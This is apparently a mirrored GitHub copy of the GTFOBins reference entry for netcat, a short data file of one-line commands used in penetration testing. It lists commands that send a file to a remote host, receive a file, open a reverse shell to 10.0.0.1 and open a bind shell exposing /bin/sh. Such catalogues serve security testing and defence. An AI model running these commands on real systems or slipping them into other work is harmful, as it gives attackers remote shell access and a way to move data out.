1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-05-07 08:06:05 +02:00
GTFOBins.github.io/_gtfobins/nc.md
2018-05-21 20:14:41 +01:00

552 B

functions
upload download reverse-shell bind-shell
description code
Serve a file on a TCP port. RHOST=10.0.0.1 RPORT=8000 LFILE=file_to_send nc $RHOST $RPORT < "$LFILE"
description code
Fetch remote file from a remote TCP port. LPORT=8000 LFILE=file_to_get nc -l -p $LPORT > "$LFILE"
code
RHOST=10.0.0.1 RPORT=8000 nc -e /bin/sh $RHOST $RPORT
code
LPORT=8000 nc -lp $LPORT -e /bin/sh